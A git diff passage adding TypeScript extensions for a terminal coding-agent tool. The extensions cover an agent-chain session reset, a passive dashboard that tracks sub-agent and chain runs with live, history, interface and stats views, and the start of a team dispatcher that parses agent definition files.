applyExtensionDefaults(import.meta.url, _ctx); + // Clear widget with both old and new ctx — one of them will be valid + if (widgetCtx) { + widgetCtx.ui.setWidget("agent-chain", undefined); + } + _ctx.ui.setWidget("agent-chain", undefined); + widgetCtx = _ctx; + + // Reset execution state — widget re-registration deferred to before_agent_start + stepStates = []; + activeChain = null; + pendingReset = true; + + // Wipe chain session files — reset agent context on /new and launch + const sessDir = join(_ctx.cwd, ".pi", "agent-sessions"); + if (existsSync(sessDir)) { + for (const f of readdirSync(sessDir)) { + if (f.startsWith("chain-") && f.endsWith(".json")) { + try { unlinkSync(join(sessDir, f)); } catch {} + } + } + } + + // Reload chains + clear agentSessions map (all agents start fresh) + loadChains(_ctx.cwd); + + if (chains.length === 0) { + _ctx.ui.notify("No chains found in .pi/agents/agent-chain.yaml", "warning"); + return; + } + + // Default to first chain — use /chain to switch + activateChain(chains[0]); + + // run_chain is registered as a tool — available alongside all default tools + + const flow = activeChain!.steps.map(s => displayName(s.agent)).join(" → "); + _ctx.ui.setStatus("agent-chain", `Chain: ${activeChain!.name} (${activeChain!.steps.length} steps)`); + _ctx.ui.notify( + `Chain: ${activeChain!.name}\n${activeChain!.description}\n${flow}\n\n` + + `/chain Switch chain\n` + + `/chain-list List all chains`, + "info", + ); + + // Footer: model | chain name | context bar + _ctx.ui.setFooter((_tui, theme, _footerData) => ({ + dispose: () => {}, + invalidate() {}, + render(width: number): string[] { + const model = _ctx.model?.id || "no-model"; + const usage = _ctx.getContextUsage(); + const pct = usage ? usage.percent : 0; + const filled = Math.round(pct / 10); + const bar = "#".repeat(filled) + "-".repeat(10 - filled); + + const chainLabel = activeChain + ? theme.fg("accent", activeChain.name) + : theme.fg("dim", "no chain"); + + const left = theme.fg("dim", ` ${model}`) + + theme.fg("muted", " · ") + + chainLabel; + const right = theme.fg("dim", `[${bar}] ${Math.round(pct)}% `); + const pad = " ".repeat(Math.max(1, width - visibleWidth(left) - visibleWidth(right))); + + return [truncateToWidth(left + pad + right, width)]; + }, + })); + }); +} diff --git a/extensions/agent-dashboard.ts b/extensions/agent-dashboard.ts new file mode 100644 index 0000000..ec2acca --- /dev/null +++ b/extensions/agent-dashboard.ts @@ -0,0 +1,971 @@ +/** + * Agent Dashboard — Unified observability across all agent interfaces + * + * Passively tracks agent activity from team dispatches, subagent spawns, + * and chain pipeline runs. Provides a compact always-visible widget plus + * a full-screen overlay with four switchable views. + * + * Hooks into: dispatch_agent, subagent_create, subagent_continue, run_chain + * tool calls and their completions. Completely passive — never blocks. + * + * Commands: + * /dashboard — toggle full-screen overlay + * /dashboard clear — reset all tracked state + * + * Usage: pi -e extensions/agent-dashboard.ts + */ + +import type { ExtensionAPI, ExtensionContext } from "@mariozechner/pi-coding-agent"; +import { DynamicBorder } from "@mariozechner/pi-coding-agent"; +import { Container, matchesKey, Text, truncateToWidth } from "@mariozechner/pi-tui"; +import { applyExtensionDefaults } from "./themeMap.ts"; + +// ── Data Types ───────────────────────────────────────────────────────── + +type AgentInterface = "team" | "subagent" | "chain"; + +interface TrackedAgent { + id: string; + name: string; + iface: AgentInterface; + status: "running" | "done" | "error"; + task: string; + startedAt: number; + endedAt?: number; + elapsed: number; + toolCount: number; + lastText: string; + turnCount: number; + chainStep?: number; + chainName?: string; + teamName?: string; +} + +interface AgentRun { + id: string; + name: string; + iface: AgentInterface; + task: string; + status: "done" | "error"; + startedAt: number; + endedAt: number; + duration: number; + toolCount: number; + resultPreview: string; + chainStep?: number; + chainName?: string; + teamName?: string; +} + +interface DashboardStats { + totalRuns: number; + totalSuccess: number; + totalError: number; + totalDuration: number; + agentRunCounts: Record; + ifaceCounts: Record; +} + +// ── Helpers ──────────────────────────────────────────────────────────── + +function fmtDuration(ms: number): string { + if (ms < 1000) return `${ms}ms`; + const secs = Math.floor(ms / 1000); + if (secs < 60) return `${secs}s`; + const mins = Math.floor(secs / 60); + const remSecs = secs % 60; + if (mins < 60) return `${mins}m ${remSecs}s`; + const hrs = Math.floor(mins / 60); + const remMins = mins % 60; + return `${hrs}h ${remMins}m`; +} + +function shortId(): string { + return Math.random().toString(36).slice(2, 6); +} + +function truncate(s: string, max: number): string { + return s.length > max ? s.slice(0, max - 1) + "…" : s; +} + +function emptyStats(): DashboardStats { + return { + totalRuns: 0, + totalSuccess: 0, + totalError: 0, + totalDuration: 0, + agentRunCounts: {}, + ifaceCounts: { team: 0, subagent: 0, chain: 0 }, + }; +} + +// ── Extension ────────────────────────────────────────────────────────── + +export default function (pi: ExtensionAPI) { + // ── State ────────────────────────────────────────────────────────── + + const activeAgents: Map = new Map(); + let history: AgentRun[] = []; + let stats: DashboardStats = emptyStats(); + let widgetCtx: ExtensionContext | null = null; + let tickTimer: ReturnType | null = null; + + // Mapping from toolCallId → tracked agent info (with timestamp for staleness) + const pendingCalls: Map = new Map(); + + // Staleness threshold: 10 minutes + const STALE_TIMEOUT_MS = 10 * 60 * 1000; + + // Inactivity auto-stop: stop tick after 30s with no active agents + let lastActivityTs = Date.now(); + + // ── Tracked tool names ───────────────────────────────────────────── + + const TRACKED_TOOLS = new Set([ + "dispatch_agent", + "subagent_create", + "subagent_continue", + "run_chain", + ]); + + // ── State Management ─────────────────────────────────────────────── + + function clearState() { + activeAgents.clear(); + history = []; + stats = emptyStats(); + pendingCalls.clear(); + lastActivityTs = Date.now(); + } + + function addToHistory(agent: TrackedAgent) { + const run: AgentRun = { + id: agent.id, + name: agent.name, + iface: agent.iface, + task: agent.task, + status: agent.status === "error" ? "error" : "done", + startedAt: agent.startedAt, + endedAt: agent.endedAt || Date.now(), + duration: agent.elapsed, + toolCount: agent.toolCount, + resultPreview: truncate(agent.lastText, 200), + chainStep: agent.chainStep, + chainName: agent.chainName, + teamName: agent.teamName, + }; + + history.push(run); + // Ring buffer capped at 200 + if (history.length > 200) { + history = history.slice(-200); + } + + // Update stats + stats.totalRuns++; + if (run.status === "done") stats.totalSuccess++; + else stats.totalError++; + stats.totalDuration += run.duration; + stats.agentRunCounts[run.name] = (stats.agentRunCounts[run.name] || 0) + 1; + stats.ifaceCounts[run.iface] = (stats.ifaceCounts[run.iface] || 0) + 1; + } + + // ── Tick Timer ───────────────────────────────────────────────────── + + function startTick() { + if (tickTimer) return; + tickTimer = setInterval(() => { + const now = Date.now(); + + // Update elapsed on running agents + for (const agent of activeAgents.values()) { + if (agent.status === "running") { + agent.elapsed = now - agent.startedAt; + } + } + + // Staleness check: expire pending calls older than 10 minutes + for (const [callId, pending] of pendingCalls) { + if (now - pending.ts > STALE_TIMEOUT_MS) { + pendingCalls.delete(callId); + const agent = activeAgents.get(pending.agentId); + if (agent && agent.status === "running") { + agent.status = "error"; + agent.endedAt = now; + agent.elapsed = now - agent.startedAt; + agent.lastText = "Timed out (no completion after 10m)"; + addToHistory(agent); + activeAgents.delete(pending.agentId); + } + } + } + + // Auto-stop tick after 30s of inactivity (no active agents, no pending calls) + if (activeAgents.size === 0 && pendingCalls.size === 0) { + if (now - lastActivityTs > 30_000) { + stopTick(); + return; + } + } else { + lastActivityTs = now; + } + + updateWidget(); + }, 1000); + } + + function stopTick() { + if (tickTimer) { + clearInterval(tickTimer); + tickTimer = null; + } + } + + // ── Widget Rendering ─────────────────────────────────────────────── + + function updateWidget() { + if (!widgetCtx) return; + + try { + widgetCtx.ui.setWidget("agent-dashboard", (_tui, theme) => { + const container = new Container(); + const borderFn = (s: string) => theme.fg("accent", s); + + container.addChild(new DynamicBorder(borderFn)); + + const headerText = new Text("", 1, 0); + container.addChild(headerText); + + const agentLines: Text[] = []; + // Pre-allocate up to 4 lines for active agents + for (let i = 0; i < 4; i++) { + const t = new Text("", 1, 0); + agentLines.push(t); + container.addChild(t); + } + + const hintText = new Text("", 1, 0); + container.addChild(hintText); + + container.addChild(new DynamicBorder(borderFn)); + + return { + render(width: number): string[] { + const activeCount = activeAgents.size; + const doneCount = stats.totalSuccess; + const errorCount = stats.totalError; + + // Line 1: summary bar + const line1 = + theme.fg("accent", " 📊 Dashboard") + + theme.fg("dim", " │ Active: ") + theme.fg(activeCount > 0 ? "accent" : "muted", `${activeCount}`) + + theme.fg("dim", " │ Done: ") + theme.fg("success", `${doneCount}`) + + theme.fg("dim", " │ Errors: ") + theme.fg(errorCount > 0 ? "error" : "muted", `${errorCount}`); + headerText.setText(truncateToWidth(line1, width - 4)); + + // Active agent lines + const agents = Array.from(activeAgents.values()); + for (let i = 0; i < agentLines.length; i++) { + if (i < agents.length) { + const a = agents[i]; + const icon = a.status === "running" ? "⟳" + : a.status === "done" ? "✓" : "✗"; + const statusColor = a.status === "running" ? "accent" + : a.status === "done" ? "success" : "error"; + const ifaceTag = theme.fg("dim", `[${a.iface}]`); + const elapsed = theme.fg("muted", fmtDuration(a.elapsed)); + const tools = theme.fg("dim", `🔧${a.toolCount}`); + const lastText = a.lastText + ? theme.fg("muted", truncate(a.lastText, Math.max(20, width - 60))) + : ""; + + const line = + " " + theme.fg(statusColor, icon) + " " + + theme.fg("accent", truncate(a.name, 16)) + " " + + ifaceTag + " " + + elapsed + " " + + tools + + (lastText ? theme.fg("dim", " │ ") + lastText : ""); + agentLines[i].setText(truncateToWidth(line, width - 4)); + } else { + agentLines[i].setText(""); + } + } + + // Hint line + const hintLine = + theme.fg("dim", " /dashboard") + theme.fg("muted", " — full view") + + theme.fg("dim", " │ ") + + theme.fg("muted", `${stats.totalRuns} total runs`) + + (stats.totalDuration > 0 + ? theme.fg("dim", " │ avg ") + theme.fg("muted", fmtDuration(Math.round(stats.totalDuration / Math.max(1, stats.totalRuns)))) + : ""); + hintText.setText(truncateToWidth(hintLine, width - 4)); + + return container.render(width); + }, + invalidate() { + container.invalidate(); + }, + }; + }); + } catch {} + } + + // ── Overlay ──────────────────────────────────────────────────────── + + async function openOverlay(ctx: ExtensionContext) { + if (!ctx.hasUI) return; + + let currentView = 0; // 0=Live, 1=History, 2=Interfaces, 3=Stats + let scrollOffset = 0; + + const viewNames = ["1:Live", "2:History", "3:Interfaces", "4:Stats"]; + + await ctx.ui.custom((_tui, theme, _kb, done) => { + return { + render(width: number): string[] { + const lines: string[] = []; + + // ── Header ── + lines.push(""); + const tabs = viewNames.map((name, i) => + i === currentView + ? theme.fg("accent", theme.bold(`[${name}]`)) + : theme.fg("dim", `[${name}]`) + ).join(" "); + lines.push(truncateToWidth( + " " + theme.fg("accent", theme.bold("📊 Agent Dashboard")) + + " ".repeat(Math.max(1, width - 20 - viewNames.join(" ").length - 2)) + + tabs, + width, + )); + lines.push(theme.fg("dim", "─".repeat(width))); + + // ── View content ── + const contentLines = renderView(currentView, width, theme, scrollOffset); + lines.push(...contentLines); + + // ── Footer controls ── + lines.push(""); + lines.push(theme.fg("dim", "─".repeat(width))); + lines.push(truncateToWidth( + " " + theme.fg("dim", "1-4/Tab: views │ j/k: scroll │ c: clear │ q/Esc: close"), + width, + )); + lines.push(""); + + return lines; + }, + handleInput(data: string) { + if (matchesKey(data, "escape") || data === "q") { + done(undefined); + return; + } + if (data === "1") { currentView = 0; scrollOffset = 0; } + else if (data === "2") { currentView = 1; scrollOffset = 0; } + else if (data === "3") { currentView = 2; scrollOffset = 0; } + else if (data === "4") { currentView = 3; scrollOffset = 0; } + else if (data === "\t") { currentView = (currentView + 1) % 4; scrollOffset = 0; } + else if (matchesKey(data, "up") || data === "k") { scrollOffset = Math.max(0, scrollOffset - 1); } + else if (matchesKey(data, "down") || data === "j") { scrollOffset++; } + else if (matchesKey(data, "pageUp")) { scrollOffset = Math.max(0, scrollOffset - 20); } + else if (matchesKey(data, "pageDown")) { scrollOffset += 20; } + else if (data === "c") { + clearState(); + scrollOffset = 0; + } + _tui.requestRender(); + }, + invalidate() {}, + }; + }, { + overlay: true, + overlayOptions: { width: "90%", anchor: "center" }, + }); + } + + // ── View Renderers ───────────────────────────────────────────────── + + function renderView(view: number, width: number, theme: any, offset: number): string[] { + switch (view) { + case 0: return renderLiveView(width, theme, offset); + case 1: return renderHistoryView(width, theme, offset); + case 2: return renderInterfacesView(width, theme, offset); + case 3: return renderStatsView(width, theme, offset); + default: return []; + } + } + + // ── View 1: Live ─────────────────────────────────────────────────── + + function renderLiveView(width: number, theme: any, offset: number): string[] { + const lines: string[] = []; + const agents = Array.from(activeAgents.values()); + + lines.push(truncateToWidth( + " " + theme.fg("accent", theme.bold("Active Agents")) + + theme.fg("dim", ` (${agents.length} running)`), + width, + )); + lines.push(""); + + if (agents.length === 0) { + lines.push(truncateToWidth( + " " + theme.fg("dim", "No agents currently running. Activity will appear here when"), + width, + )); + lines.push(truncateToWidth( + " " + theme.fg("dim", "dispatch_agent, subagent_create, subagent_continue, or run_chain is called."), + width, + )); + lines.push(""); + + // Show recent completions as context + if (history.length > 0) { + lines.push(truncateToWidth( + " " + theme.fg("muted", `Last completed: ${history.length} agents`), + width, + )); + const recent = history.slice(-3).reverse(); + for (const run of recent) { + const icon = run.status === "done" ? "✓" : "✗"; + const color = run.status === "done" ? "success" : "error"; + lines.push(truncateToWidth( + " " + theme.fg(color, `${icon} ${run.name}`) + + theme.fg("dim", ` [${run.iface}] `) + + theme.fg("muted", fmtDuration(run.duration)) + + theme.fg("dim", " — ") + + theme.fg("muted", truncate(run.task, 50)), + width, + )); + } + } + return lines; + } + + const allLines: string[] = []; + for (const agent of agents) { + const icon = agent.status === "running" ? "●" + : agent.status === "done" ? "✓" : "✗"; + const statusColor = agent.status === "running" ? "accent" + : agent.status === "done" ? "success" : "error"; + + // Card top + allLines.push(truncateToWidth( + " " + theme.fg("dim", "┌─ ") + + theme.fg(statusColor, `${icon} ${agent.name}`) + + theme.fg("dim", ` [${agent.iface}]`) + + (agent.chainName ? theme.fg("dim", ` chain:${agent.chainName}`) : "") + + (agent.teamName ? theme.fg("dim", ` team:${agent.teamName}`) : "") + + (agent.chainStep !== undefined ? theme.fg("dim", ` step:${agent.chainStep}`) : "") + + theme.fg("dim", " ─".repeat(Math.max(0, Math.floor((width - 50) / 2)))), + width, + )); + + // Task + allLines.push(truncateToWidth( + " " + theme.fg("dim", "│ ") + + theme.fg("muted", "Task: ") + + theme.fg("accent", truncate(agent.task, width - 20)), + width, + )); + + // Metrics + allLines.push(truncateToWidth( + " " + theme.fg("dim", "│ ") + + theme.fg("muted", "Elapsed: ") + theme.fg("success", fmtDuration(agent.elapsed)) + + theme.fg("dim", " │ ") + + theme.fg("muted", "Tools: ") + theme.fg("accent", `${agent.toolCount}`) + + theme.fg("dim", " │ ") + + theme.fg("muted", "Turns: ") + theme.fg("accent", `${agent.turnCount}`), + width, + )); + + // Streaming text + if (agent.lastText) { + allLines.push(truncateToWidth( + " " + theme.fg("dim", "│ ") + + theme.fg("muted", truncate(agent.lastText, width - 10)), + width, + )); + } + + // Card bottom + allLines.push(truncateToWidth( + " " + theme.fg("dim", "└" + "─".repeat(Math.max(0, width - 5))), + width, + )); + allLines.push(""); + } + + const visible = allLines.slice(offset); + lines.push(...visible); + + return lines; + } + + // ── View 2: History ──────────────────────────────────────────────── + + function renderHistoryView(width: number, theme: any, offset: number): string[] { + const lines: string[] = []; + + lines.push(truncateToWidth( + " " + theme.fg("accent", theme.bold("Completed Runs")) + + theme.fg("dim", ` (${history.length} total)`), + width, + )); + lines.push(""); + + if (history.length === 0) { + lines.push(truncateToWidth(" " + theme.fg("dim", "No completed runs yet."), width)); + return lines; + } + + // Table header + const hdr = + theme.fg("accent", " Status") + + theme.fg("accent", " │ Name ") + + theme.fg("accent", " │ Interface ") + + theme.fg("accent", " │ Duration ") + + theme.fg("accent", " │ Tools ") + + theme.fg("accent", " │ Task"); + lines.push(truncateToWidth(hdr, width)); + lines.push(truncateToWidth(" " + theme.fg("dim", "─".repeat(Math.min(80, width - 4))), width)); + + // Show newest first + const rows: string[] = []; + const reversed = [...history].reverse(); + for (const run of reversed) { + const icon = run.status === "done" ? "✓" : "✗"; + const color = run.status === "done" ? "success" : "error"; + const ifaceLabel = run.iface.padEnd(9); + const nameLabel = truncate(run.name, 14).padEnd(14); + const durLabel = fmtDuration(run.duration).padEnd(8); + const toolLabel = String(run.toolCount).padStart(5); + const taskPreview = truncate(run.task, Math.max(10, width - 70)); + + const row = + " " + theme.fg(color, ` ${icon} `) + + theme.fg("dim", " │ ") + theme.fg("accent", nameLabel) + + theme.fg("dim", " │ ") + theme.fg("muted", ifaceLabel) + + theme.fg("dim", " │ ") + theme.fg("success", durLabel) + + theme.fg("dim", " │ ") + theme.fg("accent", toolLabel) + + theme.fg("dim", " │ ") + theme.fg("muted", taskPreview); + rows.push(row); + } + + const visible = rows.slice(offset); + for (const row of visible) { + lines.push(truncateToWidth(row, width)); + } + + return lines; + } + + // ── View 3: Interfaces ───────────────────────────────────────────── + + function renderInterfacesView(width: number, theme: any, offset: number): string[] { + const lines: string[] = []; + + lines.push(truncateToWidth( + " " + theme.fg("accent", theme.bold("Agents by Interface")), + width, + )); + lines.push(""); + + const ifaceLabels: Record = { + team: "🏢 Team (dispatch_agent)", + subagent: "🤖 Subagent (subagent_create/continue)", + chain: "🔗 Chain (run_chain)", + }; + + const allLines: string[] = []; + + for (const iface of ["team", "subagent", "chain"] as AgentInterface[]) { + const activeForIface = Array.from(activeAgents.values()).filter(a => a.iface === iface); + const historyForIface = history.filter(r => r.iface === iface); + const totalCount = stats.ifaceCounts[iface] || 0; + + allLines.push(truncateToWidth( + " " + theme.fg("accent", theme.bold(ifaceLabels[iface])) + + theme.fg("dim", ` — ${activeForIface.length} active, ${totalCount} completed`), + width, + )); + allLines.push(truncateToWidth(" " + theme.fg("dim", "─".repeat(Math.min(60, width - 6))), width)); + + // Active + if (activeForIface.length > 0) { + for (const agent of activeForIface) { + allLines.push(truncateToWidth( + " " + theme.fg("accent", "● ") + + theme.fg("accent", agent.name) + + theme.fg("dim", " — ") + + theme.fg("success", fmtDuration(agent.elapsed)) + + theme.fg("dim", " │ 🔧") + theme.fg("muted", `${agent.toolCount}`) + + theme.fg("dim", " │ ") + + theme.fg("muted", truncate(agent.task, 40)), + width, + )); + } + } + + // Recent completed (last 5) + const recent = historyForIface.slice(-5).reverse(); + if (recent.length > 0) { + for (const run of recent) { + const icon = run.status === "done" ? "✓" : "✗"; + const color = run.status === "done" ? "success" : "error"; + allLines.push(truncateToWidth( + " " + theme.fg(color, `${icon} `) + + theme.fg("muted", run.name) + + theme.fg("dim", " — ") + + theme.fg("muted", fmtDuration(run.duration)) + + theme.fg("dim", " │ ") + + theme.fg("muted", truncate(run.task, 40)), + width, + )); + } + } + + if (activeForIface.length === 0 && recent.length === 0) { + allLines.push(truncateToWidth(" " + theme.fg("dim", "No activity recorded."), width)); + } + + allLines.push(""); + } + + const visible = allLines.slice(offset); + lines.push(...visible); + + return lines; + } + + // ── View 4: Stats ────────────────────────────────────────────────── + + function renderStatsView(width: number, theme: any, offset: number): string[] { + const lines: string[] = []; + + lines.push(truncateToWidth( + " " + theme.fg("accent", theme.bold("Aggregate Statistics")), + width, + )); + lines.push(""); + + const avgDur = stats.totalRuns > 0 + ? fmtDuration(Math.round(stats.totalDuration / stats.totalRuns)) + : "—"; + const successRate = stats.totalRuns > 0 + ? `${Math.round((stats.totalSuccess / stats.totalRuns) * 100)}%` + : "—"; + + const allLines: string[] = []; + + // Summary cards + allLines.push(truncateToWidth( + " " + + theme.fg("muted", "Total Runs: ") + theme.fg("accent", `${stats.totalRuns}`) + + theme.fg("dim", " │ ") + + theme.fg("muted", "Success: ") + theme.fg("success", `${stats.totalSuccess}`) + + theme.fg("dim", " │ ") + + theme.fg("muted", "Errors: ") + theme.fg(stats.totalError > 0 ? "error" : "muted", `${stats.totalError}`) + + theme.fg("dim", " │ ") + + theme.fg("muted", "Success Rate: ") + theme.fg("success", successRate), + width, + )); + allLines.push(truncateToWidth( + " " + + theme.fg("muted", "Total Duration: ") + theme.fg("success", fmtDuration(stats.totalDuration)) + + theme.fg("dim", " │ ") + + theme.fg("muted", "Avg Duration: ") + theme.fg("accent", avgDur), + width, + )); + allLines.push(""); + + // Interface breakdown + allLines.push(truncateToWidth( + " " + theme.fg("accent", theme.bold("Interface Breakdown")), + width, + )); + allLines.push(""); + + const ifaceTotal = Math.max(1, stats.ifaceCounts.team + stats.ifaceCounts.subagent + stats.ifaceCounts.chain); + const barWidth = Math.min(30, Math.floor(width * 0.3)); + + for (const [iface, label] of [["team", "Team "], ["subagent", "Subagent "], ["chain", "Chain "]] as [AgentInterface, string][]) { + const count = stats.ifaceCounts[iface] || 0; + const ratio = count / ifaceTotal; + const filled = Math.round(ratio * barWidth); + const bar = "█".repeat(filled) + "░".repeat(barWidth - filled); + + allLines.push(truncateToWidth( + " " + + theme.fg("accent", label) + " " + + theme.fg("success", bar) + " " + + theme.fg("muted", `${count}`) + + theme.fg("dim", ` (${Math.round(ratio * 100)}%)`), + width, + )); + } + allLines.push(""); + + // Most-used agents bar chart + allLines.push(truncateToWidth( + " " + theme.fg("accent", theme.bold("Most-Used Agents")), + width, + )); + allLines.push(""); + + const agentEntries = Object.entries(stats.agentRunCounts).sort((a, b) => b[1] - a[1]); + + if (agentEntries.length === 0) { + allLines.push(truncateToWidth(" " + theme.fg("dim", "No agent runs recorded yet."), width)); + } else { + const maxCount = agentEntries[0][1]; + for (const [name, count] of agentEntries.slice(0, 15)) { + const ratio = maxCount > 0 ? count / maxCount : 0; + const filled = Math.round(ratio * barWidth); + const bar = "█".repeat(filled) + "░".repeat(barWidth - filled); + + allLines.push(truncateToWidth( + " " + + theme.fg("accent", name.padEnd(16)) + " " + + theme.fg("success", bar) + " " + + theme.fg("muted", `${count}`), + width, + )); + } + } + allLines.push(""); + + // Per-agent average durations + if (history.length > 0) { + allLines.push(truncateToWidth( + " " + theme.fg("accent", theme.bold("Average Duration by Agent")), + width, + )); + allLines.push(""); + + const durByAgent: Record = {}; + for (const run of history) { + if (!durByAgent[run.name]) durByAgent[run.name] = []; + durByAgent[run.name].push(run.duration); + } + + const durEntries = Object.entries(durByAgent).sort((a, b) => { + const avgA = a[1].reduce((s, v) => s + v, 0) / a[1].length; + const avgB = b[1].reduce((s, v) => s + v, 0) / b[1].length; + return avgB - avgA; + }); + + for (const [name, durations] of durEntries) { + const avg = durations.reduce((s, v) => s + v, 0) / durations.length; + const min = Math.min(...durations); + const max = Math.max(...durations); + + allLines.push(truncateToWidth( + " " + + theme.fg("accent", name.padEnd(16)) + + theme.fg("dim", " avg: ") + theme.fg("success", fmtDuration(Math.round(avg)).padEnd(8)) + + theme.fg("dim", " min: ") + theme.fg("muted", fmtDuration(min).padEnd(8)) + + theme.fg("dim", " max: ") + theme.fg("muted", fmtDuration(max).padEnd(8)) + + theme.fg("dim", " runs: ") + theme.fg("muted", `${durations.length}`), + width, + )); + } + } + + const visible = allLines.slice(offset); + lines.push(...visible); + + return lines; + } + + // ── Commands ─────────────────────────────────────────────────────── + + pi.registerCommand("dashboard", { + description: "Open Agent Dashboard overlay. Args: clear", + handler: async (args, ctx) => { + widgetCtx = ctx; + const arg = (args || "").trim().toLowerCase(); + + if (arg === "clear") { + stopTick(); + clearState(); + startTick(); + ctx.ui.notify("📊 Dashboard: All data cleared.", "info"); + updateWidget(); + return; + } + + await openOverlay(ctx); + }, + }); + + // ── Event Handlers ───────────────────────────────────────────────── + + pi.on("session_start", async (_event, ctx) => { + applyExtensionDefaults(import.meta.url, ctx); + stopTick(); + widgetCtx = ctx; + clearState(); + startTick(); + updateWidget(); + }); + + pi.on("before_agent_start", async (_event, ctx) => { + widgetCtx = ctx; + return undefined; + }); + + pi.on("agent_end", async (_event, ctx) => { + widgetCtx = ctx; + updateWidget(); + }); + + pi.on("tool_call", async (event, _ctx) => { + try { + const toolName = event.toolName; + if (!TRACKED_TOOLS.has(toolName)) return undefined; + + const input = event.input; + const now = Date.now(); + const callId = event.toolCallId; + lastActivityTs = now; + + if (toolName === "dispatch_agent") { + const agentName = (input.agent as string) || "unknown"; + const task = (input.task as string) || ""; + const id = `team:${agentName}:${shortId()}`; + + const tracked: TrackedAgent = { + id, + name: agentName, + iface: "team", + status: "running", + task, + startedAt: now, + elapsed: 0, + toolCount: 0, + lastText: "", + turnCount: 1, + teamName: agentName, + }; + + activeAgents.set(id, tracked); + pendingCalls.set(callId, { agentId: id, ts: now }); + + } else if (toolName === "subagent_create") { + const task = (input.task as string) || ""; + const id = `sub:create:${shortId()}`; + + const tracked: TrackedAgent = { + id, + name: "Subagent", + iface: "subagent", + status: "running", + task, + startedAt: now, + elapsed: 0, + toolCount: 0, + lastText: "", + turnCount: 1, + }; + + activeAgents.set(id, tracked); + pendingCalls.set(callId, { agentId: id, ts: now }); + + } else if (toolName === "subagent_continue") { + // Always create a new tracking entry using the widget's ID from input + const subId = input.id; + const prompt = (input.prompt as string) || ""; + const id = `sub:cont:${subId}:${shortId()}`; + + const tracked: TrackedAgent = { + id, + name: `Subagent #${subId}`, + iface: "subagent", + status: "running", + task: prompt, + startedAt: now, + elapsed: 0, + toolCount: 0, + lastText: "", + turnCount: 1, + }; + + activeAgents.set(id, tracked); + pendingCalls.set(callId, { agentId: id, ts: now }); + + } else if (toolName === "run_chain") { + const task = (input.task as string) || ""; + const id = `chain:${shortId()}`; + + const tracked: TrackedAgent = { + id, + name: "chain", + iface: "chain", + status: "running", + task, + startedAt: now, + elapsed: 0, + toolCount: 0, + lastText: "", + turnCount: 1, + chainName: "pipeline", + }; + + activeAgents.set(id, tracked); + pendingCalls.set(callId, { agentId: id, ts: now }); + } + + // Ensure tick is running when we have active agents + startTick(); + updateWidget(); + } catch {} + + return undefined; + }); + + pi.on("tool_execution_end", async (event) => { + try { + const toolName = event.toolName; + if (!TRACKED_TOOLS.has(toolName)) return; + + const now = Date.now(); + const callId = event.toolCallId; + lastActivityTs = now; + + const pending = pendingCalls.get(callId); + if (pending) { + pendingCalls.delete(callId); + + const agent = activeAgents.get(pending.agentId); + if (agent) { + agent.status = event.isError ? "error" : "done"; + agent.endedAt = now; + agent.elapsed = now - agent.startedAt; + + // Extract result preview if available + try { + const result = event.result; + if (result?.content) { + for (const block of result.content) { + if (block.type === "text" && block.text) { + agent.lastText = block.text.slice(0, 200); + break; + } + } + } + } catch {} + + // Move to history + addToHistory(agent); + activeAgents.delete(pending.agentId); + } + } + + updateWidget(); + } catch {} + }); +} diff --git a/extensions/agent-team.ts b/extensions/agent-team.ts new file mode 100644 index 0000000..18c3f71 --- /dev/null +++ b/extensions/agent-team.ts @@ -0,0 +1,944 @@ +/** + * Agent Team — Dispatcher-only orchestrator with grid dashboard + * + * The primary Pi agent has NO codebase tools. It can ONLY delegate work + * to specialist agents via the `dispatch_agent` tool (single) or + * `dispatch_agents` tool (parallel batch). Each specialist maintains + * its own Pi session for cross-invocation memory. + * + * Loads agent definitions from agents/*.md, .claude/agents/*.md, .pi/agents/*.md. + * Teams are defined in .pi/agents/teams.yaml — on boot a select dialog lets + * you pick which team to work with. Only team members are available for dispatch. + * + * Commands: + * /agents-team — switch active team + * /agents-list — list loaded agents + * /agents-grid N — set column count (default 2) + * + * Usage: pi -e extensions/agent-team.ts + */ + +import type { ExtensionAPI } from "@mariozechner/pi-coding-agent"; +import { Type } from "@sinclair/typebox"; +import { Text, type AutocompleteItem, truncateToWidth, visibleWidth } from "@mariozechner/pi-tui"; +import { spawn, type ChildProcess } from "child_process"; +import { readdirSync, readFileSync, existsSync, mkdirSync, unlinkSync } from "fs"; +import { join, resolve } from "path"; +import { applyExtensionDefaults } from "./themeMap.ts"; + +// ── Constants ──────────────────────────────────── + +const AGENT_TIMEOUT_MS = 5 * 60 * 1000; // 5 minutes per dispatch +const WIDGET_THROTTLE_MS = 500; // max widget refresh rate + +// ── Types ──────────────────────────────────────── + +interface AgentDef { + name: string; + description: string; + tools: string; + systemPrompt: string; + file: string; +} + +interface AgentState { + def: AgentDef; + status: "idle" | "running" | "done" | "error"; + task: string; + toolCount: number; + elapsed: number; + lastWork: string; + contextPct: number; + sessionFile: string | null; + runCount: number; + timer?: ReturnType; + proc?: ChildProcess; +} + +// ── Display Name Helper ────────────────────────── + +function displayName(name: string): string { + return name.split("-").map(w => w.charAt(0).toUpperCase() + w.slice(1)).join(" "); +} + +// ── Teams YAML Parser ──────────────────────────── + +function parseTeamsYaml(raw: string): Record { + const teams: Record = {}; + let current: string | null = null; + for (const line of raw.split("\n")) { + const teamMatch = line.match(/^(\S[^:]*):$/); + if (teamMatch) { + current = teamMatch[1].trim(); + teams[current] = []; + continue; + } + const itemMatch = line.match(/^\s+-\s+(.+)$/); + if (itemMatch && current) { + teams[current].push(itemMatch[1].trim()); + } + } + return teams; +} + +// ── Frontmatter Parser ─────────────────────────── + +function parseAgentFile(filePath: string): AgentDef | null { + try { + const raw = readFileSync(filePath, "utf-8"); + const match = raw.match(/^---\n([\s\S]*?)\n---\n([\s\S]*)$/); + if (!match) return null; + + const frontmatter: Record = {}; + for (const line of match[1].split("\n")) { + const idx = line.indexOf(":"); + if (idx > 0) { + frontmatter[line.slice(0, idx).trim()] = line.slice(idx + 1).trim(); + } + } + + if (!frontmatter.name) return null; + + return { + name: frontmatter.name, + description: frontmatter.description || "", + tools: frontmatter.tools || "read,grep,find,ls", + systemPrompt: match[2].trim(), + file: filePath, + }; + } catch { + return null; + } +} + +function scanAgentDirs(cwd: string): AgentDef[] { + const dirs = [ + join(cwd, "agents"), + join(cwd, ".claude", "agents"), + join(cwd, ".pi", "agents"), + ]; + + const agents: AgentDef[] = []; + const seen = new Set(); + + for (const dir of dirs) { + if (!existsSync(dir)) continue; + try { + for (const file of readdirSync(dir)) { + if (!file.endsWith(".md")) continue; + const fullPath = resolve(dir, file); + const def = parseAgentFile(fullPath); + if (def && !seen.has(def.name.toLowerCase())) { + seen.add(def.name.toLowerCase()); + agents.push(def); + } + } + } catch {} + } + + return agents; 